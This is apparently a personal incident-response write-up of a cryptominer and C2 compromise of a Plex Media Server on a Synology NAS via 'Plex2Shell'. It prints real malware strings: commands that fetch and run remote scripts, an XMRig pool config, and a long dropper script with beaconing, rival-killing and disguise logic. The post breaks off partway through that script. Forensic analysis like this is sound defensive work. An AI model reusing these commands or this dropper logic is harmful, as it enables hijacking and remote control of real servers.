The responsible disclosure email
I woke up on 5 November 2026 and found the following email waiting in my inbox:
The email was from Raj at rrccyber.com, informing me that my Plex Media Server had been compromised. At first, I thought it might be spam, but a quick review showed it contained accurate personal information about my Plex Media Server running on my Synology NAS, which had been exposed to the public internet for years.
Unfortunately, I had missed the news about the Plex2Shell vulnerability and had not updated Plex Media Server in time. That meant I had to assume the server was compromised and urgently begin mitigating the incident.
What is Plex2Shell?
Plex2Shell is a chain of security flaws that allows an unauthenticated attacker to take control of an internet-exposed Plex Media Server. By tricking Plex into trusting malicious internal requests, an attacker can steal the owner's admin token and execute code on the underlying system as the Plex user.
To better understand the vulnerability, I recommend reading this excellent write-up by the security researcher who discovered the flaw, Zach Main:
https://zmain.info/blog/plex2shell
Investigating the compromise
Initial triage
I logged into my Synology NAS, which hosts my Plex Media Server, and immediately noticed it was extremely slow. I could barely navigate the interface at all. CPU usage was pinned at 100%, which was an early sign that a miner might be running.
As a first step, I disconnected the Plex Media Server from the internet via my router. Next, I restarted the NAS. After the fresh boot, the NAS became responsive again.
I then confirmed that Plex was running version 1.42.1.10060, which is vulnerable, so I had to assume compromise.
At this point, you may be in a good position to run a hunt script like the one from Zach Main to look for signs of compromise:
https://github.com/code-zm/plex2shell/blob/main/detection/hunt/plex2shell-hunt.sh
However, I decided to look around myself, because that is much more fun!
I SSHed into the box and started searching for signs of a breach. First, I checked the Plex Codecs folder for suspicious files that may have been dropped:
root@earth:~# find "/volume1/PlexMediaServer/AppData/Plex Media Server/Codecs" \
-type f \
-exec stat -c '%y | %U:%G | %s bytes | %n' {} \; |
sort -r2026-11-05 02:55:06.124395496 +1000 | PlexMediaServer:PlexMediaServer | 1036800 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/zz6f147.so
2026-11-03 16:19:57.697897803 +1000 | PlexMediaServer:PlexMediaServer | 1036800 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/zzc68dac766f66b7777a311.so
2026-11-03 13:14:05.546587672 +1000 | PlexMediaServer:PlexMediaServer | 1036800 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/zzcfbbe393b8cf236f63580.so
2026-11-03 10:17:05.185745837 +1000 | PlexMediaServer:PlexMediaServer | 1036800 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/zzc9f61c6ecf708d5399b90.so
2026-11-03 07:52:05.771451577 +1000 | PlexMediaServer:PlexMediaServer | 1036800 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/zzc7d3e158026d970e05c5b.so
2026-11-02 00:01:10.132378286 +1000 | PlexMediaServer:PlexMediaServer | 1036800 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/aa41666.so
2026-11-01 22:17:25.630466407 +1000 | PlexMediaServer:PlexMediaServer | 1036800 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/zz35438.so
2026-11-01 00:10:35.643040278 +1000 | PlexMediaServer:PlexMediaServer | 1036800 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/zzc727643641c71dc5c2b51.so
2026-10-25 01:57:27.530349535 +1000 | PlexMediaServer:PlexMediaServer | 1821688 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/liblibx264_encoder.so
2025-07-23 20:14:53.275656045 +1000 | PlexMediaServer:PlexMediaServer | 300584 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/libdca_decoder.so
2025-07-23 20:14:52.897648844 +1000 | PlexMediaServer:PlexMediaServer | 273464 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/libaac_decoder.so
2025-07-23 20:14:52.540642043 +1000 | PlexMediaServer:PlexMediaServer | 138744 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/libac3_decoder.so
2025-07-23 20:14:52.163634862 +1000 | PlexMediaServer:PlexMediaServer | 203928 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/libaac_encoder.so
2025-07-23 20:14:51.795627852 +1000 | PlexMediaServer:PlexMediaServer | 124968 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/libmp3_decoder.so
2025-07-23 20:14:51.435620994 +1000 | PlexMediaServer:PlexMediaServer | 772656 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/libmpeg4_decoder.so
2025-07-23 20:14:51.059613831 +1000 | PlexMediaServer:PlexMediaServer | 1509968 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/libhevc_decoder.so
2025-07-23 20:14:50.603605145 +1000 | PlexMediaServer:PlexMediaServer | 1596496 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/46f74ab-560174306fe167a5978a79dd-linux-x86_64/libh264_decoder.so
2024-08-30 10:25:16.309987055 +1000 | PlexMediaServer:PlexMediaServer | 2298256 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/EasyAudioEncoder-8f4ca5ead7783c54a4930420-linux-x86_64/EasyAudioEncoder/EasyAudioEncoder
2024-08-30 10:25:16.309987055 +1000 | PlexMediaServer:PlexMediaServer | 134 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/EasyAudioEncoder-8f4ca5ead7783c54a4930420-linux-x86_64/EasyAudioEncoder/eae-license.txt
2022-08-27 00:30:20.074893299 +1000 | PlexMediaServer:PlexMediaServer | 1011504 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/EasyAudioEncoder-1785-linux-x86_64.zip
2022-05-28 18:53:01.682540131 +1000 | PlexMediaServer:PlexMediaServer | 36 bytes | /volume1/PlexMediaServer/AppData/Plex Media Server/Codecs/.device-idThis is strong evidence that my Plex instance was compromised.
We can see the baseline Plex codecs with last-modified dates in July 2025, along with several suspicious files dated between 1 November 2026 and 5 November 2026.
These modification times roughly establish a timeline of breach activity:
- 1 November 2026, 00:10:35
zzc727643641c71dc5c2b51.so - 1 November 2026, 22:17:25
zz35438.so - 2 November 2026, 00:01:10
aa41666.so - 3 November 2026, 07:52:05
zzc7d3e158026d970e05c5b.so - 3 November 2026, 10:17:05
zzc9f61c6ecf708d5399b90.so - 3 November 2026, 13:14:05
zzcfbbe393b8cf236f63580.so - 3 November 2026, 16:19:57
zzc68dac766f66b7777a311.so - 5 November 2026, 02:55:06
zz6f147.so
However, as we will see later, evidence of compromise existed before these dates, but some earlier files had already been deleted.
Discovering the crypto miner
I checked whether these suspicious shared objects were executable ELF libraries:
root@earth:~# for f in \
"$DIR"/zz*.so \
"$DIR"/aa41666.so \
"$DIR"/liblibx264_encoder.so
do
printf '\n=== %s ===\n' "$(basename "$f")"
od -An -tx1 -N16 "$f"
done=== zz35438.so ===
7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
=== zz6f147.so ===
7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
=== zzc68dac766f66b7777a311.so ===
7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
=== zzc727643641c71dc5c2b51.so ===
7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
=== zzc7d3e158026d970e05c5b.so ===
7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
=== zzc9f61c6ecf708d5399b90.so ===
7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
=== zzcfbbe393b8cf236f63580.so ===
7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
=== aa41666.so ===
7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
=== liblibx264_encoder.so ===
7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00This confirmed that the randomly named files were 64-bit Linux ELF shared libraries, as they began with the ELF magic bytes 7f 45 4c 46.
Next, I checked the strings output of each codec file for suspicious keywords and found some further clues:
===== aa41666.so =====
===== liblibx264_encoder.so =====
/* 7.18.1.1 Exact-width integer types */
/home/runner/_work/plex-conan/plex-conan/plex-toolchain/unpacked/343/bin/../targets/x86_64-linux-musl/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/libpciaccess/0.17-6/plex/main/package/7763a87432c78a82fd36373080b064286892cea3/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/libdrm/2.4.120-4/plex/main/package/ba4ee9fcf280d38ea7457f18301aac09908b7976/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/intel-gmmlib/22.3.19-0/plex/main/package/d7d5d1f35ff92a8c39da6b47605055e839a42a9c/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/libva/2.21.0-7/plex/main/package/f0f4893209b867ce448a96e25ef4d6b158311557/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/iconv/1.16-36/plex/main/package/da4999666f4b1709dd93ae40fffdb2c6f130b23f/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/openssl/3.1.1-2cf4e90-4/plex/main/package/121b5d655884b039b2c06c747f3d73ef7b698b66/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/libpciaccess/0.17-6/plex/main/package/7763a87432c78a82fd36373080b064286892cea3/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/libdrm/2.4.120-4/plex/main/package/ba4ee9fcf280d38ea7457f18301aac09908b7976/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/intel-gmmlib/22.3.19-0/plex/main/package/d7d5d1f35ff92a8c39da6b47605055e839a42a9c/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/libva/2.21.0-7/plex/main/package/f0f4893209b867ce448a96e25ef4d6b158311557/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/iconv/1.16-36/plex/main/package/da4999666f4b1709dd93ae40fffdb2c6f130b23f/lib:/home/runner/_work/plex-conan/plex-conan/.conan/data/openssl/3.1.1-2cf4e90-4/plex/main/package/121b5d655884b039b2c06c747f3d73ef7b698b66/lib:XORIGIN/../lib:XORIGIN/lib
Variance AQ (complexity mask)
x264 - core %d%s - H.264/MPEG-4 AVC codec - Copy%s 2003-2020 - http://www.videolan.org/x264.html - options: %s
===== zz35438.so =====
"url": "185.146.232.55:443",
PLEX_FORCE_RESTART=1; export PLEX_FORCE_RESTART; PLEX_PROXY_ONLY=1; export PLEX_PROXY_ONLY; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; export PATH; D=/var/tmp; [ -w $D ] || D=/tmp; [ -w $D ] || D=$HOME; cd $D || exit 1; rm -f pd.sh deploy.log .pxcfg_proxy.b64 .pxcfg_auto.b64 .pxcfg_light.b64 /tmp/.pxcfg_proxy.b64 /tmp/.pxcfg_auto.b64 /tmp/.pxcfg_light.b64 $HOME/.pxcfg_proxy.b64 $HOME/.pxcfg_auto.b64 $HOME/.pxcfg_light.b64 2>/dev/null; rm -rf /var/tmp/.pxdeploy.lock /tmp/.pxdeploy.lock 2>/dev/null; cat > plex_exp_proxy.json <<'__PLEXCFG__'
__PLEXCFG__
if command -v curl >/dev/null 2>&1; then curl -fsS --connect-timeout 5 --max-time 30 'http://95.133.167.25:18899/plex_deploy.sh' -o pd.sh; fi; if [ ! -s pd.sh ] && command -v wget >/dev/null 2>&1; then wget -q -T 15 -t 1 'http://95.133.167.25:18899/plex_deploy.sh' -O pd.sh; fi; if [ ! -s pd.sh ] && command -v perl >/dev/null 2>&1; then perl -MHTTP::Tiny -e 'my $u=HTTP::Tiny->new(timeout=>35);my $r=$u->mirror($ARGV[0],$ARGV[1]);exit($r->{success}?0:1)' 'http://95.133.167.25:18899/plex_deploy.sh' pd.sh; fi; [ -s pd.sh ] || { echo NOSCRIPT; exit 1; }; /bin/sh pd.sh >> deploy.log 2>&1
===== zz6f147.so =====
GET /b/plex-linux-x86_64 HTTP/1.0
GET /plexmedia.x86_64 HTTP/1.0
Host: plex
rm -f /var/lib/plexmediaserver/Library/Application?Support/Plex?Media?Server/Codecs/*/zz*.so
===== zzc68dac766f66b7777a311.so =====
/.plexgoods-agent-http://209.99.185.237:9090/vcenter/reporthttp://209.99.185.237:9090/vcenter/stageremote_file_okremote_agent_exec131072
Host: 209.99.185.237
PLEXGOODS_AGENT_SIZE=6344830
PLEXGOODS_AGENT_SIZE_TEXT
PLEXGOODS_AGENT_WORKERS=1024
PLEXGOODS_MAX_HOSTS=131072
PLEXGOODS_MAX_HOSTS_CONFIG
plexgoods-agent
===== zzc727643641c71dc5c2b51.so =====
m=$1;base='/var/packages/PlexMediaServer/shares/PlexMediaServer/AppData/Plex Media Server/Codecs';d=$(find "$base" -mindepth 1 -maxdepth 1 -type d -name '*-linux-x86_64' 2>/dev/null | head -n 1);if [ -z "$d" ];then echo no_codec_dir;echo __VC_SHELL_${m}_END__ rc=3;exit 3;fi;f="$d/.vcscan-$m";rm -f "$f";curl -fsSL --connect-timeout 10 --max-time 30 http://209.99.186.174:9090/agent.exe -o "$f" && chmod 700 "$f" && "$f";rc=$?;rm -f "$f";echo __VC_SHELL_${m}_END__ rc=$rc;echo __PLEXGOODS_END__
plexgoods
===== zzc7d3e158026d970e05c5b.so =====
/.plexgoods-agent-GET /agent.exe?run= HTTP/1.0
Host: 209.99.185.237
http://209.99.185.237:9090/vc-marker?old=http://209.99.185.237:9090/vcenter/reporthttp://209.99.185.237:9090/vcenter/stage
plexgoods-agent
===== zzc9f61c6ecf708d5399b90.so =====
/.plexgoods-agent-GET /agent.exe?run= HTTP/1.0
Host: 209.99.185.237
http://209.99.185.237:9090/vc-marker?old=http://209.99.185.237:9090/vcenter/reporthttp://209.99.185.237:9090/vcenter/stage
plexgoods-agent
===== zzcfbbe393b8cf236f63580.so =====
/.plexgoods-agent-http://209.99.185.237:9090/vcenter/reporthttp://209.99.185.237:9090/vcenter/stageremote_file_okremote_agent_exec131072
Host: 209.99.185.237
PLEXGOODS_AGENT_SIZE=6299774
PLEXGOODS_AGENT_SIZE_TEXT
PLEXGOODS_AGENT_WORKERS=1024
PLEXGOODS_MAX_HOSTS=131072
PLEXGOODS_MAX_HOSTS_CONFIG
plexgoods-agentThis revealed evidence of multiple malicious payloads, with embedded IP addresses pointing to infrastructure used by the malware.
I then searched for files that these payloads appeared to be attempting to create:
root@earth:~# find /var/tmp /tmp "/volume1/PlexMediaServer" -xdev -type f \
\( -name 'pd.sh' \
-o -name 'deploy.log' \
-o -name 'plex_exp_proxy.json' \
-o -name '.pxcfg_*' \
-o -name '.plexgoods-agent-*' \
-o -name '.vcscan-*' \
-o -name 'agent.exe' \
-o -name 'plexmedia.x86_64' \) \
-ls 2>/dev/null
40051 4 -rw-r--r-- 1 PlexMediaServer PlexMediaServer 873 Nov 5 13:44 /var/tmp/plex_exp_proxy.jsonNotice that /var/tmp/plex_exp_proxy.json was created on 5 November, at the time of my first NAS reboot. This confirms that malicious code persisted within the compromised Plex installation and executed again when Plex started after the reboot.
There were also files related to the compromise outside /volume1/PlexMediaServer, which is the folder used by the PlexMediaServer package and user. These files existed in public, world-writable directories that the PlexMediaServer user could write to.
Looking at /var/tmp/plex_exp_proxy.json, we see:
root@earth:~# sha256sum /var/tmp/plex_exp_proxy.json
ead5e2b39f15d56fbc82d4bda3a4fdc142efb714396e105ca0ec150f15dacec2 /var/tmp/plex_exp_proxy.json
root@earth:~# stat /var/tmp/plex_exp_proxy.json
File: /var/tmp/plex_exp_proxy.json
Size: 873 Blocks: 8 IO Block: 4096 regular file
Device: 900h/2304d Inode: 40051 Links: 1
Access: (0644/-rw-r--r--) Uid: (297536/PlexMediaServer) Gid: (297536/PlexMediaServer)
Access: 2026-11-05 13:44:14.295950465 +1000
Modify: 2026-11-05 13:44:14.296950504 +1000
Change: 2026-11-05 13:44:14.296950504 +1000
Birth: -
root@earth:~# sed -n '1,200p' /var/tmp/plex_exp_proxy.json
{
"api": {
"id": null
},
"http": {
"enabled": false
},
"autosave": false,
"cpu": {
"enabled": true,
"huge-pages": true,
"memory-pool": false,
"priority": null,
"yield": true,
"max-threads-hint": 100
},
"randomx": {
"init": -1,
"mode": "auto",
"rdmsr": true,
"wrmsr": true,
"numa": false,
"1gb-pages": false
},
"pools": [
{
"url": "185.146.232.55:443",
"user": "8BK3ZSpcKkQKULyo8fJv4yAt4k3suXdLtjQpksjTT1qFjffznzBaJiE9abqGZC2sFtR5d2dKN5DEhftvUpLdT6dt8Gx9y6x",
"pass": "533a0ff6f84f5a41ddf77c739b8226363918b942",
"keepalive": true,
"enabled": true,
"tls": true,
"rig-id": "V_serversr_d8d5",
"tls-fingerprint": "D2CC627EFFA8B10BE77541862C66DD9FF84B5FFC8858E3A0CB836B617A90151C"
}
],
"retries": 30,
"retry-pause": 5,
"donate-level": 1
}This is an XMRig configuration for mining Monero (XMR). It explains the severe NAS slowness and sustained 100% CPU usage I observed.
I also found two byte-identical copies of the miner binary: /var/tmp/.cache/.kworker394 and /var/tmp/Plex Tuner Service. Both names were chosen to masquerade as legitimate kernel or Plex processes. A watchdog script, shell profile entries and a user-level systemd unit were also present to help keep the miner running.
Discovering the C2 agent
It was now a good time to find all files on the box owned by the compromised PlexMediaServer user outside /volume1/PlexMediaServer. I ran the following command:
{
echo '=== DSM system partition ==='
find / -xdev -uid 297536 -ls 2>/dev/null
echo '=== Volume 1 ==='
find /volume1 -xdev -uid 297536 -ls 2>/dev/null
echo '=== RAM-backed filesystems ==='
find /tmp /dev/shm /run /dev/virtualization \
-xdev -uid 297536 -ls 2>/dev/null
} | tee /volume1/IncidentEvidence/uid-297536-all-files.txtThis returned several hits:
=== DSM system partition ===
58662 4 drwx------ 2 PlexMediaServer users 4096 May 28 2022 /usr/syno/etc/packages/SecureSignIn/preference/PlexMediaServer
42271 4 drwxr-xr-x 2 PlexMediaServer PlexMediaServer 4096 Nov 5 13:44 /var/tmp/.cache
40060 392 -rwxr-xr-x 1 PlexMediaServer PlexMediaServer 401071 Nov 5 13:44 /var/tmp/.cache/.kworker394
40066 4 -rw-r--r-- 1 PlexMediaServer PlexMediaServer 9 Nov 5 13:44 /var/tmp/.cache/.kworker394.tag
40062 4 -rwxr-xr-x 1 PlexMediaServer PlexMediaServer 415 Nov 5 13:44 /var/tmp/.cache/.kworker394.loop
40058 0 lrwxrwxrwx 1 PlexMediaServer PlexMediaServer 9 Nov 5 13:58 /var/tmp/plex_deploy.sh -> /dev/null
40063 4 -rw-r--r-- 1 PlexMediaServer PlexMediaServer 99 Nov 5 13:44 /var/tmp/.bashrc
36092 0 lrwxrwxrwx 1 PlexMediaServer PlexMediaServer 9 Nov 5 13:58 /var/tmp/pd.sh -> /dev/null
40057 4 -rw-rw-rw- 1 PlexMediaServer PlexMediaServer 6 Nov 5 13:44 /var/tmp/.boat.lock
40056 0 -rw-r--r-- 1 PlexMediaServer PlexMediaServer 0 Nov 5 13:44 /var/tmp/PlexScriptHost.lck
40055 12 -rwxr-xr-x 1 PlexMediaServer PlexMediaServer 5779 Nov 5 13:44 /var/tmp/Plex\ SQLite
40078 0 lrwxrwxrwx 1 PlexMediaServer PlexMediaServer 9 Nov 5 13:58 /var/tmp/pd3.sh -> /dev/null
40065 4 -rw-r--r-- 1 PlexMediaServer PlexMediaServer 99 Nov 5 13:44 /var/tmp/.bash_profile
40064 4 -rw-r--r-- 1 PlexMediaServer PlexMediaServer 99 Nov 5 13:44 /var/tmp/.profile
40068 4 -rw-r--r-- 1 PlexMediaServer PlexMediaServer 11 Nov 5 13:56 /var/tmp/PlexScriptHost\ (deleted).beat
42575 4 drwxr-xr-x 3 PlexMediaServer PlexMediaServer 4096 Nov 5 13:44 /var/tmp/.config
42579 4 drwxr-xr-x 3 PlexMediaServer PlexMediaServer 4096 Nov 5 13:44 /var/tmp/.config/systemd
42580 4 drwxr-xr-x 2 PlexMediaServer PlexMediaServer 4096 Nov 5 13:44 /var/tmp/.config/systemd/user
40061 4 -rw-r--r-- 1 PlexMediaServer PlexMediaServer 225 Nov 5 13:44 /var/tmp/.config/systemd/user/kworker394.service
40052 392 -rwxr-xr-x 1 PlexMediaServer PlexMediaServer 401071 Nov 5 13:44 /var/tmp/Plex\ Tuner\ Service
40051 4 -rw-r--r-- 1 PlexMediaServer PlexMediaServer 873 Nov 5 13:44 /var/tmp/plex_exp_proxy.json
=== Volume 1 ===
3317438 0 drwxr-xr-x 1 PlexMediaServer PlexMediaServer 0 May 28 2022 /volume1/@appdata/PlexMediaServer
3317440 0 drwx------ 1 PlexMediaServer PlexMediaServer 20 Oct 26 09:50 /volume1/@apphome/PlexMediaServer
32114038 4 -rw-r--r-- 1 PlexMediaServer PlexMediaServer 164 Oct 26 09:50 /volume1/@apphome/PlexMediaServer/.wget-hsts
3317441 0 drwxr-xr-x 1 PlexMediaServer PlexMediaServer 0 May 28 2022 /volume1/@appconf/PlexMediaServer
20984589 0 drwxr-xr-x 1 PlexMediaServer PlexMediaServer 0 Aug 3 2025 /volume1/@appshare/PlexMediaServer
=== RAM-backed filesystems ===
595976 0 lrwxrwxrwx 1 PlexMediaServer PlexMediaServer 9 Nov 5 13:58 /tmp/plex_deploy.sh -> /dev/null
595975 0 lrwxrwxrwx 1 PlexMediaServer PlexMediaServer 9 Nov 5 13:58 /tmp/pd2.sh -> /dev/null
595066 0 lrwxrwxrwx 1 PlexMediaServer PlexMediaServer 9 Nov 5 13:58 /tmp/pd3.sh -> /dev/null
595065 0 lrwxrwxrwx 1 PlexMediaServer PlexMediaServer 9 Nov 5 13:58 /tmp/pd.sh -> /dev/null
115163 4 -rw-rw-rw- 1 PlexMediaServer PlexMediaServer 6 Nov 5 13:44 /tmp/.boat.lock
110460 12 -rw-r--r-- 1 PlexMediaServer PlexMediaServer 10633 Nov 5 13:44 /tmp/i
595979 0 lrwxrwxrwx 1 PlexMediaServer PlexMediaServer 9 Nov 5 13:58 /dev/shm/plex_deploy.sh -> /dev/null
595978 0 lrwxrwxrwx 1 PlexMediaServer PlexMediaServer 9 Nov 5 13:58 /dev/shm/pd3.sh -> /dev/null
595977 0 lrwxrwxrwx 1 PlexMediaServer PlexMediaServer 9 Nov 5 13:58 /dev/shm/pd.sh -> /dev/null
115161 4 -rw-rw-rw- 1 PlexMediaServer PlexMediaServer 6 Nov 5 13:44 /dev/shm/.boat.lock
109210 0 -rw-r--r-- 1 PlexMediaServer PlexMediaServer 0 Nov 5 13:44 /dev/shm/.kpx.lck
61969 4 -rw-r--r-- 1 PlexMediaServer PlexMediaServer 32 Nov 5 13:42 /dev/shm/9334581e-7251-4ef7-a8ec-5bfe8e89ff68The larger /tmp/i file looked particularly interesting, so I took a look at its contents:
#!/bin/sh
# Plex exclusive land. Names rotate among official PMS helpers so a rival
# copying PlexScriptHost / CrashUploader kill lists misses us.
export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin
T="${1:-app-plex}"
B="http://80.87.206.91"
B2="http://80.87.206.95"
B3="http://80.87.206.86"
B4=""
dbg() {
wget -q -T 6 -O /dev/null --post-data="$1" "$B/_dbg" 2>/dev/null \
|| curl -fsS -m 6 -d "$1" "$B/_dbg" >/dev/null 2>&1 || true
}
escape() {
echo $$ > /sys/fs/cgroup/cgroup.procs 2>/dev/null || true
echo $$ > /sys/fs/cgroup/init.scope/cgroup.procs 2>/dev/null || true
for d in /sys/fs/cgroup/*/cgroup.procs /sys/fs/cgroup/*/*/cgroup.procs; do
echo $$ > "$d" 2>/dev/null || true
done
}
ours() {
case "$1" in
*"Plex SQLite"*|*"Plex Relay"*|*"Plex Scanner"*|*"Plex DLNA"*|*"Plex Tuner"*) return 0 ;;
*PlexScriptHost*|*PlexTunerService*|*CrashUploader*) return 0 ;;
*post-data=step*|*A-plex*|*80.87.206.91/_dbg*|*80.87.206.95/_dbg*) return 0 ;;
*"Plex Media Server"*|*Plex\ Transcoder*|*ffmpeg*|*EasyAudioEncoder*) return 0 ;;
esac
return 1
}
kr() {
for x in /proc/[0-9]*; do
pid=${x#/proc/}
cmd=$(tr '\0' ' ' < "$x/cmdline" 2>/dev/null) || continue
ours "$cmd" && continue
case "$cmd" in
*18899*|*plex_deploy*|*pd.sh*|*pd3.sh*|*pd2.sh*|*130.94.112*|*89.125.187*|*PLEX_FORCE_RESTART*|*PLEX_PROXY_ONLY*)
kill -9 "$pid" 2>/dev/null
;;
*PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin*)
kill -9 "$pid" 2>/dev/null
;;
*systemctl*restart*plex*|*killall*Plex*|*pkill*Plex*)
kill -9 "$pid" 2>/dev/null
;;
esac
done
for f in /tmp/pd.sh /tmp/pd3.sh /tmp/pd2.sh /tmp/plex_deploy.sh \
/dev/shm/pd.sh /dev/shm/pd3.sh /var/tmp/pd.sh; do
ln -sfn /dev/null "$f" 2>/dev/null || true
done
}
pick() {
h=$( (uname -n; cat /etc/machine-id 2>/dev/null; id -u) | cksum | awk '{print $1}' )
n=$(( ${h:-1} % 5 ))
g=$(( (${h:-1} / 5) % 5 ))
[ "$g" = "$n" ] && g=$(( (n + 1) % 5 ))
i=0
NAME="Plex SQLite"
GNAME="Plex Relay"
while IFS= read -r x; do
[ "$i" = "$n" ] && NAME=$x
[ "$i" = "$g" ] && GNAME=$x
i=$((i + 1))
done <<'EOF'
Plex SQLite
Plex Relay
Plex Scanner
Plex DLNA Server
Plex Tuner Service
EOF
}
is_ours_exe() {
# Official PMS: /usr/lib/plexmediaserver/Plex SQLite etc. Must not count as our ELF
# or we skip download (step=have) and never C2.
case "$1" in
/usr/lib/plexmediaserver/*|*/usr/lib/plexmediaserver/*) return 1 ;;
*PlexScriptHost*) return 0 ;;
esac
return 1
}
escape
kr
H="${HOME}"
[ -n "$H" ] && [ -d "$H" ] && [ "$H" != /tmp ] && [ "$H" != /dev/shm ] \
|| H=$(getent passwd "$(id -u)" 2>/dev/null | cut -d: -f6)
[ -n "$H" ] && [ -d "$H" ] && [ "$H" != /tmp ] || H=/var/lib/plexmediaserver
C=""
for p in /proc/[0-9]*; do
[ -r "$p/maps" ] || continue
m=$(awk '/\/Codecs\//{for(i=1;i<=NF;i++) if($i~"/Codecs/") {print $i; exit}}' "$p/maps" 2>/dev/null)
[ -n "$m" ] || continue
d=${m%/*}
[ -d "$d" ] && [ -w "$d" ] && C=$d && break
done
[ -n "$C" ] && [ -w "$C" ] || C=$H
[ -n "$C" ] && [ -d "$C" ] || C=/var/tmp
export HOME="$C"
mkdir -p "$C" 2>/dev/null || true
pick
# Exec path stays PlexScriptHost so current ELF skips .kworker hop.
# Rotated official names are backups: rivals grepping PlexScriptHost miss the copies.
PX="$C/PlexScriptHost"
BK="$C/$NAME"
RP="$C/$GNAME"
src=$(ip -4 route get 80.87.206.91 2>/dev/null | awk '{for(i=1;i<=NF;i++) if($i=="src") print $(i+1)}')
dbg "step=boot u=$(uname -m 2>/dev/null) id=$(id -u 2>/dev/null) home=$H c=$C name=$NAME g=$GNAME src=$src"
a=$(uname -m 2>/dev/null)
case $a in
*aarch64*|*arm64*) a=4 ;;
*arm*) a=3 ;;
*x86_64*|*amd64*) a=1 ;;
*i?86*) a=2 ;;
*) a=1 ;;
esac
fetch() {
url="$1"; out="$2"; min="$3"; n=0
while [ "$n" -lt 4 ]; do
n=$((n+1))
rm -f "$out"
wget -q -T 25 -O "$out" "$url" || curl -fsS --max-time 25 -o "$out" "$url" || busybox wget -q -T 25 -O "$out" "$url" || continue
sz=$(wc -c < "$out" 2>/dev/null || echo 0)
[ "$sz" -ge "$min" ] && return 0
done
rm -f "$out"
return 1
}
fetch_rel() {
rel="$1"; out="$2"; min="$3"
fetch "$B/$rel" "$out" "$min" && return 0
fetch "$B2/$rel" "$out" "$min" && return 0
fetch "$B3/$rel" "$out" "$min" && return 0
[ -n "$B4" ] && fetch "$B4/$rel" "$out" "$min" && return 0
return 1
}
live=""
for x in /proc/[0-9]*/exe; do
t=$(readlink "$x" 2>/dev/null) || continue
is_ours_exe "$t" || continue
live=${x#/proc/}; live=${live%/exe}
cmd=$(tr '\0' ' ' < /proc/"$live"/cmdline 2>/dev/null)
case "$cmd" in *app-plex*) break ;; esac
# PlexScriptHost path is ours even without args
break
done
if [ -z "$live" ]; then
for f in /tmp/.boat.lock /dev/shm/.boat.lock /var/tmp/.boat.lock "$C/.boat.lock" "$H/.boat.lock"; do
[ -f "$f" ] || continue
pid=$(head -1 "$f" 2>/dev/null)
if [ -n "$pid" ] && kill -0 "$pid" 2>/dev/null; then live=$pid; break; fi
done
fi
c2up() {
# Only jump :443. ESTAB to :80 is the HTTP mux and does not count as C2.
pat='176\.123\.7\.7:443|80\.87\.206\.86:443|80\.87\.206\.91:443|80\.87\.206\.95:443'
if command -v ss >/dev/null 2>&1; then
ss -tn 2>/dev/null | grep -E 'ESTAB|ESTABLISHED' | grep -E "$pat" >/dev/null && return 0
fi
if command -v netstat >/dev/null 2>&1; then
netstat -tn 2>/dev/null | grep ESTABLISHED | grep -E "$pat" >/dev/null && return 0
fi
if [ -r /proc/net/tcp ]; then
